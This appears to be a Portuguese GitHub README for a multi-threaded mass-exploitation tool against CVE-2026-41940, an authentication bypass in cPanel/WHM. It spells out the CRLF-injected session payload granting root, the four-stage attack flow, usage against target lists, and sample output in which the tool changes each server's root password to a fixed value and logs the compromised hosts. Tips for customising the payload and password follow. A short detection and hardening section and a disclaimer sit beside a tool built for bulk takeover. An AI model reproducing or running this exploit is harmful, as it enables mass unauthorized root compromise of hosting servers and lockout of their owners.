
Bulk scanner and mass exploitation tool for CVE-2026-41940 on cPanel/WHM, built for automated target validation and high-speed multi-threaded execution.
CVE-2026-41940 é uma vulnerabilidade crítica de bypass de autenticação no WHM/cPanel que permite a atacantes contornar a autenticação e obter acesso root a um servidor sem credenciais válidas. A vulnerabilidade explora injeção CRLF no mecanismo de gerenciamento de sessão para injetar parâmetros maliciosos de sessão.
Esta ferramenta fornece capacidades de exploração em massa com suporte a múltiplas threads para testar vários alvos simultaneamente, apresentando deteção inteligente de sucesso e filtragem automática de alvos inválidos.
| Funcionalidade | Descrição |
|---|---|
| ✅ Exploração em Massa | Escanear e explorar múltiplos alvos a partir de um arquivo de lista |
| 🚀 Multithreading | Número configurável de threads para varredura mais rápida (padrão: 15) |
| 🔐 Alteração Automática de Senha | Altera a senha root para Jenderal92 em caso de exploração bem-sucedida |
| 🛡️ Deteção Inteligente de Sucesso | Detecta automaticamente vários formatos de resposta da API WHM |
| ⚠️ Filtragem de Erro de Licença | Exclui alvos com erros de licença inválida/não pode ler licença |
| 📝 Saída Estruturada | Salva apenas sucessos confirmados no formato `domínio:porta |
| 🛡️ Suporte SSL/TLS | Lida automaticamente com certificados autoassinados |
| 🔄 Gerenciamento de Sessão | Extração automática de sessão, injeção de cookies e manipulação de tokens |
| ⏱️ Controle de Timeout | Timeout de conexão configurável (padrão: 15 segundos) |
| 🔍 Verificação Pré-Conexão | Verifica disponibilidade da porta antes da tentativa de exploração |
| 📊 Progresso em Tempo Real | Mostra progresso detalhado para cada etapa da exploração |
pip install requests urllib3 futures
Ou use requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clonar repositório
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Instalar dependências
pip install -r requirements.txt
# Tornar executável (Linux/Mac)
chmod +x CVE-2026-41940.py
Crie um arquivo targets.txt com um alvo por linha:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Nota: A porta
2087é a porta padrão do WHM. Se não for especificada, usará automaticamente a porta 2087. O prefixo HTTP/HTTPS será adicionado automaticamente se estiver faltando.
python2 CVE-2026-41940.py targets.txt
# Usar 5 threads simultâneas
python2 CVE-2026-41940.py targets.txt --threads 5
# Usar 20 threads para varredura mais rápida
python2 CVE-2026-41940.py targets.txt --threads 20
# Substituir cabeçalho Host para todos os alvos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Definir timeout de 30 segundos para conexões lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
res.txt)Apenas exploits confirmados com sucesso são salvos. Alvos com erros de licença, falhas na alteração de senha ou problemas de conexão são automaticamente excluídos.
Formato:
domínio:porta|root|Jenderal92
Exemplo de saída:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Os seguintes alvos NÃO serão salvos em res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
O exploit consiste em 4 estágios principais com verificação inteligente:
[1] minting a preauth session...
/login/?login_only=1 com credenciais inválidaswhostmgrsession da resposta do servidor,<obhex>[2] sending the CRLF injection...
Authorization: Basic contendo payload maliciosoroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) injetam parâmetros de sessão falsosLocation contendo o cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts com o cookie manipuladodo_token_denied no WHM[4] verifying we're WHM root...
/json-api/version para verificar acesso root/json-api/passwd para alterar a senha root para Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (versões antigas){"result": [{"status": 1}]} (formato legado)A ferramenta exclui automaticamente:
{"status": 0, "statusmsg": "Cannot Read License File"}# Log de acesso WHM
/usr/local/cpanel/logs/access_log
# Log de erro cPanel
/usr/local/cpanel/logs/error_log
# Log de autenticação
/var/log/secure
# Mensagens do sistema
/var/log/messages
Atualize WHM/cPanel para a versão corrigida mais recente imediatamente
/usr/local/cpanel/scripts/upcp
Ative a Autenticação de Dois Fatores (2FA) para todas as contas, especialmente root
WHM → Central de Segurança → Autenticação de Dois Fatores
Restrinja o acesso WHM com lista de permissões de IP
WHM → Central de Segurança → Controle de Acesso ao Host
Monitore logs de acesso regularmente para padrões suspeitos
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
Altere todas as senhas se houver suspeita de comprometimento
Use regras de firewall para restringir acesso à porta 2087
# Permitir apenas IPs confiáveis
iptables -A INPUT -p tcp --dport 2087 -s SEU_IP_CONFIAVEL -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Ou use firewall CSF/LFD
csf -a SEU_IP_CONFIAVEL
Implemente regras WAF para detectar tentativas de injeção CRLF
Auditorias de segurança regulares nas instalações WHM/cPanel
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt pode conter vários formatos:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# Todos serão normalizados automaticamente
python2 CVE-2026-41940.py targets.txt --threads 15
Problema: Usando Python 3 em vez de Python 2.7
Solução: Esta ferramenta requer especificamente Python 2.7.
# Verificar versão do Python
python2 --version # Deve mostrar Python 2.7.x
# Executar com python2 explicitamente
python2 CVE-2026-41940.py targets.txt
Problema: Alvo offline ou firewall bloqueando
Solução:
# Testar manualmente
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
Problema: Alvo pode estar corrigido ou não executando WHM
Solução:
https://target:2087Solução: Ajuste o número de threads e timeout
# Para muitos alvos com boa conectividade
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# Para conexões não confiáveis
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
Nota: Alvos mostrando Cannot Read License File são automaticamente excluídos de res.txt. Isso é comportamento esperado, pois alterações de senha não funcionarão em instalações WHM sem licença.
Você pode modificar PAYLOAD_B64 para parâmetros de sessão personalizados:
import base64
# Payload personalizado
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
Altere a senha na função do_passwd() (linha ~280):
{"user": "root", "password": "SuaSenhaPersonalizada123"}
A função do_passwd() pode ser modificada para detectar formatos de resposta WHM personalizados:
# Adicionar padrão personalizado em do_passwd()
if 'sua_string_de_sucesso_personalizada' in (r.text or '').lower():
return "success"
Contribuições são bem-vindas! Por favor, siga estes passos:
git checkout -b feature/SuaFuncionalidadeIncrivel)git commit -m 'Adicionar alguma funcionalidade incrível')git push origin feature/SuaFuncionalidadeIncrivel)Se esta ferramenta for útil para sua pesquisa de segurança, por favor, dê uma ⭐ no GitHub!
P: Esta ferramenta pode ser detectada?
R: Sim, esta ferramenta deixa rastros nos logs de acesso do WHM/cPanel. Use apenas com autorização adequada e para testes de segurança legítimos.
P: Quanto tempo leva a exploração?
R: Aproximadamente 5-15 segundos por alvo, dependendo da latência da rede e do tempo de resposta do servidor.
P: Requer acesso root prévio?
R: Não, este exploit funciona completamente de forma externa, sem qualquer autenticação.
P: Esta ferramenta funciona no Windows?
R: Sim, desde que o Python 2.7 esteja devidamente instalado e configurado.
P: Meu alvo usa uma porta diferente, o que devo fazer?
R: Especifique a porta na URL do alvo: https://target.com:2083 para cPanel ou qualquer porta personalizada.
P: Por que alguns alvos não são salvos em res.txt mesmo com o exploit funcionando?
R: A ferramenta salva apenas alvos onde a senha foi alterada com sucesso. Alvos com erros de licença, falhas na alteração de senha ou outros problemas são excluídos mesmo que o bypass de autenticação tenha sido bem-sucedido.
P: Quais versões do WHM/cPanel são vulneráveis?
R: Versões anteriores ao patch do CVE-2026-41940. Verifique o changelog do cPanel para a versão corrigida.
Jenderal92 em caso de exploração bem-sucedida2087 (usada automaticamente se não especificada)res.txtres.txt novo (resultados antigos são deletados)
Criado para fins educacionais de pesquisa em segurança
Use com responsabilidade, mantenha-se legal, mantenha-se ético
⚠️ AVISO CRÍTICO!
Esta ferramenta foi criada exclusivamente para:
- ✅ Fins educacionais e pesquisa em segurança
- ✅ Testes de penetração autorizados
- ✅ Avaliações de segurança em sistemas que você possui
- ✅ Verificação de vulnerabilidade com permissão por escrito
Usos ESTRITAMENTE PROIBIDOS:
- ❌ Acessar sistemas sem autorização explícita
- ❌ Qualquer forma de atividades ilegais
- ❌ Ações maliciosas ou causar danos a sistemas
- ❌ Acesso não autorizado a qualquer sistema de computador
- ❌ Violar quaisquer leis locais, estaduais ou federais
O(s) autor(es) NÃO assumem nenhuma responsabilidade ou obrigação por qualquer uso indevido, dano ou consequência resultante do uso desta ferramenta. Ao usar esta ferramenta, você concorda em usá-la apenas em sistemas que você possui ou para os quais possui autorização explícita por escrito para testar.
Se você prosseguir, reconhece que:
- Você tem autorização para testar os sistemas alvo
- Você entende as implicações legais de acesso não autorizado
- Você cumprirá todas as leis e regulamentos aplicáveis
- O(s) autor(es) não são responsáveis por suas ações
Mais Avisos Legais: Você pode ver o aviso na capa do Jenderal92. Verifique AQUI !!!
| Argumento | Descrição | Padrão | Obrigatório |
|---|
list_file | Arquivo contendo lista de alvos (um por linha) | - | ✅ Sim |
--threads | Número de threads simultâneas | 15 | ❌ Não |
--hostname | Substituir cabeçalho Host para todos os alvos | Auto-descobrir | ❌ Não |
--timeout | Timeout de conexão em segundos | 15 | ❌ Não |
| Indicador | Descrição |
|---|
Cookie whostmgrsession anômalo | Padrões incomuns de cookie sem autenticação adequada |
| Caracteres CRLF em cabeçalhos | Deteção de sequências \r\n em cabeçalhos HTTP |
Acesso a /scripts2/listaccts | Acesso não autorizado a este caminho |
Senha Jenderal92 | Login bem-sucedido usando esta senha específica |
Vazamento de token cpsess | Token de segurança visível no cabeçalho Location |
| Login falho seguido de sucesso | POST para /login/?login_only=1 com senha errada, depois acesso privilegiado |